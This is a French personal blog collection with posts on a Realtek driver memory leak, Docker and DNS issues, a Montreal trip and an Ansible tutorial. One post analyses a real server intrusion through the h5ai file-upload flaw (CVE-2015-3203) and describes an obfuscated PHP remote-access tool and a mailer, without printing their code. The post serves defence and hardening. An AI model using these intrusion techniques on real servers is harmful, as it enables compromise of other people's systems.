Ne reste plus que le noyau. Et tout ce qui gravite autour, noyau monolithique oblige. La première commande qui m’est conseillé est slabtop :

Active / Total Objects (% used)    : 669706 / 851401 (78,7%)
Active / Total Slabs (% used)      : 37806 / 37811 (100,0%)
Active / Total Caches (% used)     : 67 / 103 (65,0%)
Active / Total Size (% used)       : 131870,09K / 152821,89K (86,3%)
Minimum / Average / Maximum Object : 0,02K / 0,18K / 4096,00K

OBJS ACTIVE  USE OBJ SIZE  SLABS OBJ/SLAB CACHE SIZE NAME                  
203091 202656  99%    0,19K   9671       21     38684K kmalloc-192
181973  82014  45%    0,05K   2563       71     10252K buffer_head
97824  88395  90%    0,12K   3057       32     12228K dentry
79680  63313  79%    0,65K  13280        6     53120K ext4_inode_cache
50204  27400  54%    0,02K    308      163      1232K Acpi-Namespace
46872  45239  96%    0,03K    378      124      1512K kmalloc-32
36580  17572  48%    0,03K    295      124      1180K jbd2_revoke_record_s
34619  31975  92%    0,30K   2663       13     10652K radix_tree_node
25536  25496  99%    0,07K    456       56      1824K kernfs_node_cache
18612  18599  99%    0,11K    517       36      2068K ext4_groupinfo_4k
14868  13350  89%    0,09K    354       42      1416K vm_area_struct
14289  13963  97%    0,34K   1299       11      5196K inode_cache
8820   7649  86%    0,06K    140       63       560K kmalloc-node
8715   7895  90%    0,05K    105       83       420K anon_vma

Le résultat ne m’a pas semblé aberrant. Mais peut-être qu’avec des connaissances plus poussées, il aurait été possible de détecter le problème depuis slabtop.

En parallèle de ces recherches, j’avais entrepris une grosse mise à jour du système. Une fois terminée, je redémarre sur le nouveau noyau. C’est une migration du noyau

Linux deuxfleurs.fr 4.3.0-1-686-pae #1 SMP Debian 4.3.5-1 (2016-02-06) i686 GNU/Linux

Linux deuxfleurs.fr 4.4.0-1-686-pae #1 SMP Debian 4.4.6-1 (2016-03-17) i686 GNU/Linux

Le problème est alors résolu, je savais que ça venait du noyau car la mémoire vive augmentait de manière continue sans qu’aucune application identifiée en soit la cause. Maintenant, il s’agit de savoir où et pourquoi.

Après quelques recherches, j’ai trouvé la réponse sur la mailing list lkml. C’est bien une fuite mémoire sur un pilote qui tourne dans le noyau. Plus exactement le pilote realtek, qui est utilisé par les dongles wifi USB.

Après vérification sur ma machine, en effet il était bien là :

Bus 004 Device 002: ID 0846:9041 NetGear, Inc. WNA1000M 802.11bgn [Realtek RTL8188CUS]

Le patch tient en 2 lignes, il manquait juste un free pour libérer la mémoire allouée.

---
drivers/net/wireless/realtek/rtlwifi/usb.c | 2 ++
1 file changed, 2 insertions(+)

diff --git a/drivers/net/wireless/realtek/rtlwifi/usb.c b/drivers/net/wireless/realtek/rtlwifi/usb.c
index 2721cf8..aac1ed3 100644
--- a/drivers/net/wireless/realtek/rtlwifi/usb.c
+++ b/drivers/net/wireless/realtek/rtlwifi/usb.c
@@ -531,6 +531,8 @@ static void _rtl_usb_rx_process_noagg(struct ieee80211_hw *hw,
       ieee80211_rx(hw, skb);
     else
       dev_kfree_skb_any(skb);
+  } else {
+    dev_kfree_skb_any(skb);
   }
 }

Cet épisode fut l’occasion pour moi de découvrir comment un serveur se comporte en l’absence de mémoire vive libre, comment est géré la mémoire vive dans le noyau. J’ai eu beaucoup de chance que le bug soit déjà corrigé.

Il semble qu’un outil nommé kmemleak a été créé dans l’objectif de découvrir ce genre de bugs. La question que tout le monde se pose : est ce que ça aurait pu arriver sur Windows ? Je ne sais pas, mais Microsoft propose aussi des outils pour vérifier ses pilotes, nommés Driver Verifier.

Docker

Après plus de 200 jours d’uptime sur un CoreOS, j’ai commencé à rencontrer quelques problèmes. Mais avant de vous en faire part, je profite de ce billet pour attirer votre attention sur l’importance des fichiers .dockerignore.

En effet, lorsque vous allez lancer un docker build, ce dernier va envoyer votre contexte au daemon Docker. Le contexte, de ce que j’en ai compris est l’ensemble des fichiers dans votre répertoire courant.

Il se trouve que dans mon répertoire courant se trouve aussi les données que je veux garder (persister). Et que ces derniers peuvent faire plusieurs gigaoctets. Ces données seront alors envoyé à chaque build au daemon docker, monopolisant des ressources pour rien, et surtout ça prend du temps. Le fichier .dockerignore permet donc de préciser quels dossiers et fichiers ne pas envoyer au daemon, comme un .gitignore.

Mais revenons à nos moutons. Au bout de ces 200 jours, lorsque je relançais un conteneur, ce dernier n’avait plus accès à internet.

En relançant ce conteneur un certains nombre de fois, il a fini par fonctionner. Ce qui est vraiment bizarre. De ce que j’ai pu lire sur internet, d’autres personnes ont rencontré ce problème plus ou moins ici et là.

La solution proposée est en général d’arrêter Docker, de supprimer le bridge, puis de le redémarrer. Ayant une version assez vieille, j’en ai profité pour mettre Docker à jour.

Au redémarrage, tout se passe bien, sauf qu’un container ne veut plus se lancer. L’erreur est pour le moins cryptique :

Error response from daemon: Could not find container for entity id 20d3aad...

Il me semble que cette erreur était provoquée par :

/usr/bin/docker rm php1

Encore une fois, c’est un bug connu. De ce que j’ai compris, Docker possède une base de donnée sqlite, dans lequel il stocke les id des containers, et probablement des informations à leur sujet. Il semble qu’une entrée dans cette base de donnée pointe vers un dossier n’existant plus. Il est typique de la mise à jour de docker 1.8 vers docker 1.9. La solution proposée est la suppresion de la base de données et des containers existants.

Je me suis personnellement contenté de ne plus utiliser l’identifiant php1, que j’ai remplacé par php-01. En sachant que dans ma base de donnée, cet identifiant restera un fantôme à tout jamais… ou jusqu’à que je le supprime manuellement.

Les DNS de Google

J’ai aussi un serveur VPN, partagé avec quelques amis, permettant de s’affranchir de certaines restrictions imposés par un pare feu un peu récalcitrant.

Ce dernier est configuré afin de fournir des serveurs DNS au client. Afin de me simplifier la vie, j’avais alors fourni ceux de google, les très célèbres 8.8.8.8 et 8.8.4.4.

Mon service VPN fonctionnait très bien, jusqu’au jour où plus de connexion internet. En remontant, je finis bien par découvrir que le problème vient de la résolution DNS. La commande ping fonctionne très bien mais impossible de résoudre un nom de domaine.

Mais le problème est dur à identifier, car parfois la résolution fonctionne. Ca peut être dû à plusieurs facteurs différents, mais sachez que Windows n’hésite pas à faire des requêtes sur les serveurs DNS de tous les réseaux de la machine, pouvant au passage révéler les sites que vous voulez consulter.

Depuis OpenVPN 2.3.9, il existe une option de configuration nommée block-outside-dns qui permet de résoudre ce problème sous Windows. Pour plus d’information, voici le bug report.

En passant sur le serveur, le ping fonctionne très bien. Par contre, au moment de réaliser une requête avec dig, le serveur DNS de google ne répondait plus. Finalement, j’ai décidé de tenter un autre serveur DNS, celui de mon hébergeur. Cette fois-ci ça a marché.

Après avoir laissé un ticket chez mon hébergeur, voici leur réponse :

Il arrive de temps en temps que Google bloque les requêtes venant de certaines IPs ou certaines plages d’IP pour diverses raisons, je ne pourrais donc que vous inviter à utiliser d’autres serveurs DNS que les leurs.

Vous voilà donc prévenu ! Les serveurs DNS de Google c’est bien pour utilisation domestique, c’est tout !

En somme ces quelques bugs m’ont permis de découvrir beaucoup de choses - et ont aussi mis à l’épreuve mon calme légendaire…

Premiers jours à Montréal

Sun, 17 Jan 2016 00:00:00 +0100

En quelques jours à Montréal nous avons vu et fait beaucoup de choses. Dépaysement garanti à 100%. Et cette fois-ci, j’ai pris des photos.

Découverte du quartier

Nous nous trouvons du côté de Côte des Neiges, derrière le Mont Royal. C’est un quartier sous la neige que nous avons découvert (il porte bien son nom, je sais). La vue au petit matin est jolie (pas un nuage). De quoi se motiver pour aller à Polytechnique pour s’inscrire.

Nous avons décidé de braver le froid canadien et de nous y rendre à pied. Le campus universitaire de Montréal regroupe notre école, HEC ainsi que l’université. C’est assez impressionant. Et petite subtilité, beaucoup de batiments communiquent entre eux par des tunnels, de sorte qu’une fois à l’intérieur, vous n’avez plus besoin de sortir.

Excursion au Mont Royal

Polytechnique Montréal se trouvant juste à côté du Mont Royal, nous avons décidé de nous y rendre à pied. Bon, en fait juste à côté, c’est vite assez loin au Canada. Le temps d’atteindre le Pavillon du lac aux Castors, il faisait nuit. Le lieu est par contre sublime sous la neige. Et il y a une patinoire !

En arrivant, nous sommes accueillis par ce traineau illuminé.

Avant de monter sur la glace, une photo s’impose. On remarquera que même si Loïc a l’air petit à côté du soldat, ce n’est pas totalement de sa faute, car il n’a pas de tambour comme ce dernier pour paraitre plus grand.

Les arbres illuminés se trouvent en réalité au milieu de la patinoire, dont nous pouvons faire le tour. Parfait pour une soirée romantique.

Après ça, nous avons décidé d’avancer un peu plus sur le Mont Royal, mais impossible de trouver un chemin qui nous emmenait à un point de vue. Et avec la nuit qui tombait, nous avons préféré redescendre sur Montréal. Plutôt que de mourir gelés dans le froid Canadien.

Tim Hortons

Après avoir essuyé des bourrasques de vent bien fraiches, nous avons décidé de nous arrêter dans un Tim Hortons. En effet, il y a quelques années de ça, mon correspondant Canadien en avait fait l’éloge. La chaine a été fondée par un joueur de hockey canadien, et est actuellement la plus populaire de son genre au Canada (devant Mac Donalds et Subway). Ils servent principalement du café et des biscuits/donuts, mais aussi des sandwichs. Bref, tout est sur Wikipedia.

Quelle fut ma surprise quand le serveur nous a dit qu’il ne parlait pas français, alors que tout était écrit en français. Apparemment, tout le monde parle anglais ici. Je ne sais pas encore si c’est dû au quartier, ou à la chaine.

Le passage de commande est particulier aussi, et nous ne savions pas qu’il fallait avancer au comptoir suivant pour récupérer sa commande. Une personne nous a remarqué, nous a indiqué où nous placer et nous a gentiment dit : “Vous venez d’arriver ? Bienvenue au Canada !”. Comme quoi, les Canadiens n’ont pas volé leur réputation !

Le centre de Montréal

Quelques jours plus tard, nous avons décidé de repartir en visite dans Montréal. Nous nous sommes arrêtés sur la place du Champs de Mars. Pas de Tour Eiffel en vue pourtant… Par contre le vieux palais de justice de Montréal et l’hôtel de ville en fond.

Nous avons fait escale au centre Eaton qui est un centre commercial géant, avec des restaurants et fast foods au rez de chaussée, et des boutiques de vêtements, de cosmétiques, de téléphones et autres sur les différents étages… Pratique quand on est parti au Canada sans chaussure, sans gant, sans écharpe et sans bonnet. Le principal intéressé se reconnaitra !

Chose amusante, il est possible d’entrer dans le centre depuis l’arrêt de métro sans avoir à sortir dehors.

Pour plusieurs raisons, les forfaits téléphoniques sont chers au Canada. Surtout quand on vient de France. A titre d’exemple, un forfait type 2h appels et sms illimités coûte plus de $25 (16€), comparé aux 2€ de Free Mobile en France. C’est toujours bon à savoir. A noter qu’il y a quelques années, les prix pratiqués en France étaient assez semblables…

En reprenant la route, nous avons croisé un batiment avec le logo des JO et cette imposante oeuvre devant. Je suppose que cet immeuble doit appartenir au Comite International Olympique (CIO). Encore un mystère !

Montréal regorge aussi de monuments, comme la basilique Notre Dame que nous avons prise en photo de nuit lors de notre première excursion.

Le quartier chinois

Le quartier chinois est situé à côté de l’hotel de ville. Quartier bien à part, puisqu’il est totalement piéton. On y retrouve tout un tas de spécialités asiatiques plus surprenantes les unes que les autres. C’est décidé, on ira manger là-bas un de ces jours !

Le vieux port

En continuant à l’est, nous arrivons au vieux port, sur les rives du Saint Laurent. Aujourd’hui, il ne semble plus y avoir beaucoup de bateaux, surtout en hiver où la glace a recouvert une bonne partie de ce dernier. On y retrouve le musée des sciences, ou encore le festival de musique Igloofest.

Tous les hivers, la ville de Montréal installe une patinoire. C’est même une institution, puisqu’elle était déjà là il y a 20 ans. Chaque jour, le thème des musiques passées est différent. Ce jour là, c’était les chansons francophones. Malheureusement, pas de Céline Dion à notre passage (cliché, toujours…). Ici tout le monde patine, même avec des poussettes pour certains ! Il faut dire aussi que le Hockey est le sport national.

En dépassant la patinoire, et en longeant le bord du Saint Laurent, nous arrivons jusqu’à la tour de l’horloge. L’été, se trouve aussi une plage artificielle pour profiter du soleil, sur le bord du port de plaisance.

Au-delà de la tour, la zone devient plus industrielle, et mes connaissances maritimes étant plutôt limitées, nous avons pu observer ce que j’appellerai des “gros bateaux”.

Toujours lors de notre première excursion de nuit, nous avions profité quelques minutes du belvédère du musée des sciences pour prendre un panorama du vieux port, avant de redescendre rapidement car la nuit la température descend très vite, et nous étions très exposé au vent. En d’autres termes, j’avais les doigts gelés.

Bref, Montréal sous la neige offre de beaux paysages, mais aussi de surprenants endroits. Nous comptons encore explorer l’île Saint Hélène, ou encore le Mont Royal de jour, ainsi que le biodôme, et bien d’autres endroits.

Arrivée au Canada

Fri, 15 Jan 2016 00:00:00 +0100

Mais comment me-suis je retrouvé au milieu de Montréal un 14 janvier 2016 ? Pas totalement par hasard en tout cas.

J’étudie actuellement à l’INSA Rennes, et dans le cadre de mon cursus, je dois passer un certains temps à l’étranger. J’ai donc choisi l’École Polytechnique de Montréal, comme Loïc, qui est dans ma promo et sera mon colocataire au Canada. Et me voilà donc au milieu de la belle province. Mais encore faut il s’y rendre ! Et la journée du jeudi 14 janvier a été (très) longue.

5h00 : Le réveil

C’est le moment de rassembler ses dernières affaires avant de partir, vérifier qu’on a rien oublié une fois, deux fois et oublier des choses. Direction le métro de Rennes pour se rendre à la gare.

5h45 : La gare

Nous arrivons à la gare de Rennes sans encombre. Hasard s’il en est, nous retrouvons Flavien, un autre camarade promo qui part pour Sherbrooke. Nous discutons un peu, il prend le train suivant qui arrive directement à l’aéroport. Loïc et moi devrons par contre traverser Paris en transport en commun. On ne peut pas gagner à tous les coups. Notre train part à 6h05, tout va bien.

8h12 : Paris

A notre arrivée à Paris, nous nous dirigeons vers le métro qui se trouve dans le sous-sol de Montparnasse - nous avions soigneusement étudié notre plan avant le départ. Ligne 6, arrêt Denfert Rochereau pour prendre le RER B. Malgrès l’heure, nous ne rencontrons pas de difficulté particulière avec nos valises.

9h30 : Roissy Charles de Gaulle

L’aéroport est immense et impressionnant. Ce n’est pas Loïc qui dira le contraire. Nous enregistrons nos bagages et récupérons notre carte d’embarquement. J’hérite alors d’une gomette rouge sur mon passeport alors que Loïc et Flavien, qui vient de nous rejoindre, ont eu une gomette verte. Un mystère de plus.

Pensant avoir quelques minutes de libre, nous nous posons sur des sièges de l’aeroport. Erreur ! Il faut encore passer la douane et le contrôle de sécurité. C’est reparti. Le temps de montrer patte blanche, nous voilà de l’autre côté.

Nous nous retrouvons alors entre des boutiques Dior, Rolex et autres marques prestigieuses. Bon, et bien ce n’est pas avec ça que l’on va manger ! Nous trouvons un peu plus loin un bon vieux Mac Donalds. Nous en profitons aussi pour admirer les avions et la piste.

12h10 : L’embarquement

L’embarquement commence à 12h10, mais étant donné le nombre de personnes sur ce vol, ce n’est pas trop tôt. Ce dernier se fait par zone, chaque zone étant appelée à son tour. Quelques minutes plus tard, nous voilà dans la passerelle. Un dernier employé d’Air Canada vérifie notre passeport, et nous pose cette question qui semble assez célèbre : “Vous allez où ?”. Je ne crois pas que “dans l’avion” ou toute autre blague du même accabit soit vraiment bien accueillie. Je vous laisse le soin d’essayer.

13h05 : Le vol

Nous voilà dans un magnifique Boeing 777 série 3000. Un gros avion en somme. Avec tout le confort qui se doit, et donc un écran par passager, tactile, avec des films, des séries, et même des courts métrages. Evidémment, rien n’est parfait, et les accoudoirs sont rendus inutilisables par les commandes qui sont reportées dessus, et particulièrement la lumière qui a la facheuse habitude de s’allumer dès que l’on pose son coude sur l’accoudoir.

Pendant ces 7 heures de vol, pas le temps de s’ennuyer, le personnel d’Air Canada se relaie en continu pour distribuer à manger et à boire. Et ça, c’était bien !

L’avion reste tout de même assez bruyant, et c’est donc dur de s’endormir pendant le voyage. Notons aussi la traditionnelle carte de déclaration à remplir. Notes pour les français, É-U est l’abbréviations pour États-Unis et pas European Union, comme beaucoup le pense. Tout d’abord car il y a un accent sur le É, ensuite parce que si vous retournez votre feuille, vous verrez qu’il est inscrit U.S. Une petite pensée pour tout ceux qui sont restées à la frontière à cause de ça.

14h40 : Pierre-Elliott-Trudeau

Nous venons de passer 7 heures dans l’avion mais avec le décallage horaire, il n’est que 14h40 à Montréal. Nous devons maintenant faire la queue pour passer la frontière. C’est à ce moment que nous nous rendons compte que le groupe “Salut c’est cool” voyageait aussi dans notre avion, étant un peu devant nous dans la queue.

Une fois la frontière passée, nous pouvons alors récupérer nos bagages. A la sortie, nous remettons notre carte de déclaration, prélablement tamponnée lors du passage de la frontière. Nous voilà au Canada !

15h20 : Direction notre logement

Nous avons réservé un logement sur Internet, via une entreprise qui s’est spécialisée dans la location aux étudiants en échange : Irie Location. Encore faut-il s’y rendre. Situé à 15 minutes de Polytechnique Montréal, il faut par contre au moins 1 heure pour s’y rendre depuis l’aéroport qui se trouve assez excentré par rapport au centre de Montréal.

Heureusement, un bus express relie l’aéroport et le centre ville de Montréal. Nous nous installons à bord. Il faut compter un peu de temps tout de même, car le bus est souvent pris dans les bouchons. Ce dernier nous laisse près d’une station de métro. Après Paris, le métro Montrealais est bien vide et facile à prendre !

16h20 : Le début du doute

Arrivé à notre station, nous nous retrouvons dehors, sans savoir dans quelle direction aller ni où s’arrêter et c’est là que…

Que mon téléphone n’a pas de réseau, car chez Free Mobile, si vous activez le forfait bloqué, ce dernier ne se connecte pas en itinérance. Il faut désactiver cette fonctionnalité dans l’espace client (2 fois même dans certains cas).
Que les arrêts de bus n’ont pas de carte, ni d’horaires.
Qu’à l’intérieur du bus, il n’y a pas non plus de plan.
Qu’il fait froid et que la nuit commence à tomber.

Nous décidons finalement de rejoindre notre logement à pied. “Ça ne doit pas être si loin”. En fait si, quand même. Nous demandons notre chemin aux gens que nous croisons. Finalement, nous finissons par atteindre notre but sans trop d’erreur. Une personne de l’agence nous attendait déjà. Elle nous donne les clés, et nous voilà à la maison !

16h45 : Home sweet Home

Il est bientôt 17h00, nous avons donc voyagé pendant 18h. Nous en profitons pour nous poser un peu. Nous ressortons pour trouver à manger (dans un subway, gastronomie oblige), et rentrons vite nous coucher.

En conclusion, prévoyez bien de partir reposé. Préparez votre voyage au maximum si vous comptez le réaliser d’une traite. C’est vraiment exténuant !

Une CVE dans h5ai

Tue, 13 Oct 2015 00:00:00 +0200

J’ai eu la “chance” de pouvoir vivre pleinement une intrusion sur mon serveur causée par une faille de sécurité. Histoire de mettre à profit cet heureux moment, je vous propose un retour sur mon investigation suite à cette intrusion.

Les failles de sécurité viennent toujours de là ou on s’y attend le moins. Dans mon cas, le responsale est h5ai, un petit logiciel qui permet d’avoir un index apache/nginx plus joli. Rien de bien méchant, sauf que, rien n’est jamais simple…

Découverte de la faille

J’ai découvert l’intrusion dans les règles de l’art : en me rendant sur l’index habituellement géré par h5ai. Et surprise, surprise quand j’aperçois cette page en lieu et place de mon index :

Je me connecte donc rapidement en SSH sur mon serveur, pour voir l’étendu des dégats. Nous sommes alors le vendredi 9 octobre. Les fichiers sont là depuis 24 septembre, soit 15 jours. Mazette, ça fait un bout de temps que personne n’est venu ici. Je désactive PHP (sudo service php5-fpm stop), m’empresse de regarder les logs nginx, de copier tout les fichiers incriminés dans un dossier ailleurs et de mettre à jour h5ai. J’ai pu identifier plusieurs fichiers et dossiers malveillants dans mon racine web.

Informations sur la CVE

La faille de sécurité a été identifiée sous le nom CVE-2015-3203 le 28 septembre 2015. Soit 4 jours après mon attaque. C’est un peu comme un Early Access sur Steam, mais en plus c’est gratuit…

Par la même occasion on en apprend plus sur la faille de sécurité :

Unrestricted file upload vulnerability in h5ai before 0.25.0 allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in the directory specified by the href parameter.

TL;DR : Sur certaines versions de h5ai il est possible d’envoyer des fichiers sur le serveur sans restriction. Fichiers qui seront ensuite interprétés par PHP.

Une faille basique, complètement bête. A aucun moment la fonction d’envoie est mentionnée sur h5ai.

Après cet épisode, on peut trouver un message bien discret sur le site de h5ai :

There was a securtiy flaw in versions 0.22.0 - 0.24.1 that was fixed in 0.25.0. If you are still using one of this versions you are advised to upgrade.

Pour ceux qui seraient intéressé par l’exploit, vous pouvez en trouver un sur Exploit-DB. (Bien évidemment il est a utiliser uniquement pour tester votre installation…)

Un RAT PHP

Le RAT PHP contient une interface, permettant de prendre le contrôle du serveur, et de nombreux outils. On citera, entre autres, la possibilité de naviguer dans les fichiers du serveur, d’executer des commandes, d’automatiser l’ajout d’un compte dans un Wordpress ou un Joomla, etc.

On notera que le code n’est pas directement en clair dans le fichier, il est compressé en gzip puis converti en base 64. L’ensemble est ensuite décodé puis passé dans un eval qui va interpréter le code.

On remarquera que la “team” qui a réalisé ce logiciel est indonésienne et se nomme “D’MASTERPIECE”.

Le mailer

Le fichier PHP du mailer quant à lui n’est pas obfusqué. Il est d’ailleurs écrit dans un PHP plus propre (en utilisant des classes). On remarquera le soin apporté au design…

Son seul objectif est d’utiliser le serveur email de la cible pour envoyer des emails.

Retour sur l’attaque

Afin d’accéder au serveur, nos pirates revendiquant le nom de “Dragon Net” ont exploité la faille de sécurité dans h5ai pour s’en servir comme base avancée pour des attaques (mailer et RAT).

Ils ont ensuite utilisé le RAT pour fouiller dans les fichiers du site et uploadé différents fichiers, entre autre un .ssh/known_hosts (mais c’est tout côté SSH).

Sur leur défaçage, ils se targuent de se contenter de publier leurs revendications. Et en effet, ils semblent n’avoir rien fait d’autre. Cependant, on peut supposer que leur intentions ne sont pas aussi louables qu’ils le prétendent : pourquoi ne pas avoir directement envoyé leur fichier index.html ? Le RAT et le mailer semblent avoir été inutiles dans notre cas…

On notera d’ailleurs que la team ayant réalisé l’attaque n’est pas la même que celle qui a créé les outils. Il y a un marché pour tout…

Faute d’informations supplémentaires je suppose qu’ils ont prévu ces fichiers “au cas où” ils aient besoin d’un serveur.

Exploitation et possibilités

La faille de h5ai, par chance, n’a été exploitée que pour des revendications politiques/religieuses. Mais on peut imaginer bien pire…

Tout d’abord, actuellement tous mes sites web en PHP sur cette machine utilisent le même utilisateur. On peut donc supposer qu’il aurait pu défacer ces sites webs, et la base de données qui va avec. Il était aussi possible de lancer des attaques DDoS depuis la machine, executer des programmes, etc.

Cependant, notre pirate n’avait pas d’accès root, il n’avait donc pas accès au reste du système… heureusement !

Les mesures de sécurité

Cet épisode amène à des réflexions. Tout d’abord sur le choix de h5ai : comment une telle faille est arrivée dans ce logiciel. Son objectif n’a jamais été l’envoi de données ! Peut-on encore lui faire confiance ? Peu d’annonce à ce sujet, une description laconique sur le site officiel, pas grand chose sur git…

Deuxièmement, je me suis intéressé aux mises à jours des différents applications web de ma machine. Quelles sont les applications installées ? Sont-elles à jour ?

Enfin, le problème de PHP se pose : comment compartimenter les sites en plusieurs utilisateurs distincts afin qu’un site compromis ne puisse pas atteindre les autres ? Comment prévenir l’execution de scripts PHP indésirable ? SELinux n’aurait pas forcément été d’une grande aide dans mon cas, même s’il peut être un rempart de plus, pour détecter ce genre d’actions frauduleuses.

Aujourd’hui les containers sont à la mode (LXC, Docker, …). L’utilisation de ces derniers pourraient être un gage de sécurité supplémentaire. En effet, le pirate resterait coincé dans le conteneur. De plus ces derniers sont censés être plus simple à mettre à jour. Mais leur sécurité n’est pas encore parfaite.

En tout cas, en terme de sécurité, il ne faut pas se reposer sur un rempart, car une faille de sécurité peut facilement le casser, mais sur plusieurs (container, utilisateurs distincts, SELinux et mises à jour fréquentes).

Automatiser avec Ansible

Fri, 02 Oct 2015 00:00:00 +0200

Ansible est un outil en ligne de commande pour automatiser vos déploiements. L’objectif de cet article est bien évidemment de vous convaincre de son utilité. Avant d’entrer dans le vif du sujet, revenons sur les différentes façons de déployer votre code sur un serveur.

L’âge de pierre

A la main

Le niveau zéro de l’administration système consiste à vous connecter en SSH sur le serveur distant, taper des commandes jusqu’à ce que vous obteniez le résultat désiré. Même si cette méthode peut convenir pour apprendre, elle trouve assez vite ses limites au fil du temps : comment faire quand vous avez plusieurs serveurs, quand vous devez faire une mise à jour, quand vous êtes plusieurs à gérer ces serveurs, quand un serveur crash et que vous devez le réinstaller ?

Écrire un script

Afin de pouvoir redéployer votre configuration autant de fois que vous voulez, vous avez peut-être déjà pensé à écrire un script bash qui regroupe l’ensemble des commandes pour déployer votre code. Mais vous vous doutez bien que tout n’est pas parfait.

En effet, comment gérer le cas où vous devez cloner un dépôt git à la première installation, mais à chaque réexécution du script vous voulez vous contenter de le mettre à jour ? Vous pouvez écrire deux scripts, un d’installation et un de mise à jour, mais comment faire quand ce genre de cas se reproduit plusieurs fois, et que lors d’une mise à jour il faut créer un nouveau fichier une seule fois ? Vous allez devoir créer un troisième fichier, et executer le bon script sur le bon serveur.

Une seconde approche est de faire les tests directement dans le script. Ce dernier d’adaptera donc à votre environnement. Mais certains tests sont complexes, et votre script va s’alourdir considérablement. C’est là où Ansible va vraiment vous faciliter la vie, en réalisant ces tests de manière totalement invisible.

Fonctionnement d’Ansible

Des étâts plutôt que des commandes

Ansible fonctionne par étât, vous décrivez donc dans quel étât vous voulez qu’une chose soit. Par exemple, je ne vais pas demander de cloner ou de mettre à jour mon dépôt git sur ma machine. Je vais demander à Ansible que mon projet git soit à jour. Si le dossier existe déjà, Ansible va le mettre à jour. Si il n’existe pas, Ansible va le cloner.

Un fonctionnement sans agent

Ansible fonctionne sans agent sur le serveur. Et alors ? En fait, vous n’avez pas besoin d’installer ansible sur votre serveur. Tout se passe sur votre client. Votre serveur aura juste besoin de python2 (et avec un peu de chance il sera déjà installé). Ansible va se connecter au serveur en SSH, récupérer les informations dont il a besoin, puis générer la commande qui correspond à votre requête en fonction de l’état de ce dernier.

Les templates

Les templates vous permettent d’adapter vos fichiers de configuration avec des variables propres à chaque serveur. Imaginons que vous vouliez lancer un logiciel sur x serveurs, ayant chacun dans leur configuration le nom d’hôte du serveur. Lors de l’envoi de mon fichier de configuration sur le serveur, Ansible va prendre le template et remplacer les variables par les bonnes valeurs.

Sous le capot

Ansible est écrit en python2. Chaque commande à un module Ansible, et son utilisation est décrite dans la documentation. Il va se connecter en SSH au serveur, envoyer une charge utile en python, qu’il va exécuter, et va envoyer son retour.

Versionner

En créant des fichiers de configuration sur votre ordinateur, vous pouvez les versionner, dans git par exemple. Ce qui vous permet de :

Travailler à plusieurs sur le déploiement de votre application
Redéployer une ancienne version de votre application
Avoir un script de déploiement pour develop, master, etc. et le gérer comme votre code. (#DevOps :p)

Les alternatives

Je vous présente un peu Ansible comme l’alternative miracle. Rassurez-vous, le monde est vaste, et ce n’est pas la seule option possible. Le plus important c’est de trouver l’outil qui vous convient. Il existe des outils de déploiement avec agent, comme Chef. D’autres consiste à empaqueter vos modifications dans une machine virtuelle, comme Puppet ou Vagrant. Enfin, une autre approche, semblable à la précédente, utilise des conteneurs comme Docker ou Rocket.

Place à la pratique

Si je ne vous ai pas montré des bouts de fichier tout de suite, c’est que je voulais être sûr que vous compreniez bien le fonctionnement d’Ansible, et surtout pourquoi ça peut vous aider. Je ne vous ferai pas de long tutoriel sur son installation, tout se trouve sur la page d’installation de la documentation officielle. En général ça se résume à l’installation via votre gestionnaire de dépendance (dnf, apt, pacman…).

Prise en main

Tout d’abord, Ansible utilise un fichier hosts, un peu particulier, qui n’est pas versionné. Vous pourrez le trouver en général ici : /etc/ansible/hosts.

En effet, dans vos fichiers de déploiement, vous ne mettez pas directement le nom du serveur distant, mais juste un nom, et les paramètres seront définis dans votre fichiers hosts. Ca permet de décoreller votre déploiement de vos serveurs.

Voici à quoi ressemble ce fichier (toutes les informations ne sont pas obligatoires):

server1 ansible_ssh_port=22 ansible_ssh_host=192.168.1.1 ansible_ssh_user=root
server2 ansible_ssh_port=22 ansible_ssh_host=192.168.1.2 ansible_ssh_user=john

Note : Dans le premier cas, on utilise l’identifiant root, qui est donc super utilisateur. On pourra donc faire tout ce que l’on veut, mais ce n’est pas très sécurisé d’authoriser les connexions directement depuis root. Dans le second cas on se connecte avec un compte non privilégié, c’est plus sécurisé mais on ne pourra rien installer. Sauf si john est dans les sudoers, et dans ce cas là, vous devrez rajouter l’argument --ask-sudo-pass à Ansible. C’est la solution à préférer pour la production !

Votre premier “playbook”

Un playbook est un fichier au format YML qui décrit les différentes étapes de votre déploiement. Choissisez un nom (par exemple git-test.yml), et créez un nouveau fichier avec votre éditeur de texte préféré :

---
- hosts: server1
  tasks:
    - name: Install git
      apt: name=git state=present

    - name: Clone git repository
      git: repo=https://github.com/ansible/ansible-examples.git dest=/src/ansible-example

Executer votre playbook

Après avoir ajouté votre fichier à un dépôt git, vous êtes prêt à l’exécuter.

ansible-playbook git-test.yml

Si tout se passe bien, vous devriez obtenir un résultat semblable :

Ici on voit que git était déjà installé, c’est pour ça qu’il est OK en vert, il est dans l’état que nous souhaitons, rien n’a été modifié. Par contre, le dépôt n’était pas cloné, une action a donc été réalisée, d’où le “changed”.

Aller plus loin

Vous avez certainement vu le “Gathering Fact” sur la capture précédente. Cette étape permet à Ansible de récupérer beaucoup d’informations sur votre serveur, que vous pourrez réexploiter dans vos scripts.

Vous aurez aussi besoin assez vite des handlers. Imaginons que vous modifiez le fichier de configuration du serveur web nginx. Pour que cette modification soit prise en compte, nginx doit être redémarré. Mais vous ne voulez pas redémarrer nginx à chaque fois. Les handlers sont là pour ça !

Ce billet touche à sa fin, Ansible devrait quand même vous réserver encore plein de (bonnes) surprises. Mais ne vous inquiétez pas, vous devriez maintenant avoir toutes les clés pour bien déployer vos projets ! Bon courage !

Un historique du web

Wed, 15 Oct 2014 00:00:00 +0200

Réaliser un site web aujourd’hui compte de nombreux enjeux. Cet article se découpe en plusieurs parties. L’idée derrière ce post est de traverser les années (plus ou moins) et de voir ce qui se fait, pour progresser doucement. Nous utiliserons bien sûr que des technologies actuelles.

Tout d’abord, le web, c’était des pages statiques, fixées, qui ne bougent pas. On a ensuite rajouté des couleurs. Ce sera notre première étape.

Ensuite, on a voulu rendre les pages dynamiques, pouvoir les modifier en fonction du visiteur. Deuxième étape.

Après ça, on a commencé à imaginer des sites web dynamiques, qui pourraient intéragir avec l’utilisateur et le serveur sans recharger la page, nous arrivons à notre troisième étape.

Nous rentrons maintenant dans l’ère industrielle, avec les différents outils pour gérer votre projet web.

Enfin, nous terminerons avec les technologies web de demain, qui permettent de réaliser de vrais applications et plus encore.

HTML & CSS

